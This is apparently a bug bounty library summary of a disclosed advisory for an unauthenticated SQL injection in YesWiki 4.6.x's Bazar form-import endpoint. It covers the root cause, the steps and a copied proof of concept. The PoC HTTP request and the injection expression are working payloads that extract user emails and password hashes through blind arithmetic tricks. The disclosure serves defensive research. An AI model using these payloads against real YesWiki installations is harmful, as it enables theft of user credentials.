# YesWiki: Unauthenticated SQL Injection

Unauthenticated SQL injection in YesWiki's Bazar form-import path lets any visitor inject SQL into an INSERT and dump the full database including password hashes.

- Payout: Research
- Severity: critical
- Program: YesWiki
- Found by: SamyGhannad
- Disclosed: 2026-05-22
- CVE: CVE-2026-46670
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-jwvv-qr7q-cv8j
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-jwvv-qr7q-cv8j
- Tags: area:web domain:web impact:data-leak impact:pii-leak kind:research platform:ghsa sev:critical tech:php technique:blind technique:source-review vuln:sqli

**Target:** PHP web app form-import endpoint (/?BazaR&vue=formulaire)
**Root cause:** FormManager::create() concatenates the user-controlled bn_id_nature key from imported-form into the INSERT VALUES list without quoting or parameterization.
**Steps:**
1. Deploy YesWiki 4.6.1/4.6.2 via docker compose and complete install
2. Send `POST /?BazaR&vue=formulaire` with body `imported-form[7791000+ASCII(SUBSTRING((SELECT/**/HEX(CONCAT(email,0x3a,password))/**/FROM/**/yeswiki_users/**/LIMIT/**/1),1,1))]={"bn_label_nature": "zz_poc_7790000_1", "bn_template": "", "bn_description": "", "bn_condition": ""}`
3. MySQL evaluates the arithmetic expression, storing bn_id_nature = 7791000 + ASCII(char)
4. Read the resulting ID from `/?api/forms`, subtract the base offset to recover each character, repeat per position
**How found:** Source review of FormManager::create() spotted unquoted concatenation of bn_id_nature into the INSERT VALUES list, then traced unauthenticated reachability through the Bazar form-import endpoint.
**Exploitation:** Unauthenticated attacker submits a crafted imported-form key whose bn_id_nature is an arithmetic expression wrapping a subquery; the evaluated result is stored and read back via the forms API, enabling blind boolean/arithmetic extraction of arbitrary DB data such as yeswiki_users email and password hashes.
**Insight:** When a numeric-looking array key lands in an INSERT VALUES list, MySQL evaluates arithmetic expressions in it — use a base-offset + ASCII(SUBSTRING(...)) trick and read the stored value back through a listing API to build a blind exfil channel without error output.

## Proof of concept (copied exactly from the original report)

**Unauthenticated SQLi HTTP request dumping user creds**

```
POST /?BazaR&vue=formulaire HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Length: 353
Host: localhost:8085
User-Agent: Python-urllib/3.13
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

imported-form%5B7791000%2BASCII%28SUBSTRING%28%28SELECT%2F%2A%2A%2FHEX%28CONCAT%28email%2C0x3a%2Cpassword%29%29%2F%2A%2A%2FFROM%2F%2A%2A%2Fyeswiki_users%2F%2A%2A%2FLIMIT%2F%2A%2A%2F1%29%2C1%2C1%29%29%5D=%7B%22bn_label_nature%22%3A+%22zz_poc_7790000_1%22%2C+%22bn_template%22%3A+%22%22%2C+%22bn_description%22%3A+%22%22%2C+%22bn_condition%22%3A+%22%22%7D
```

**SQL injection expression payload**

```
7330000 + ASCII(SUBSTRING((SELECT HEX(VERSION())), 1, 1))
```

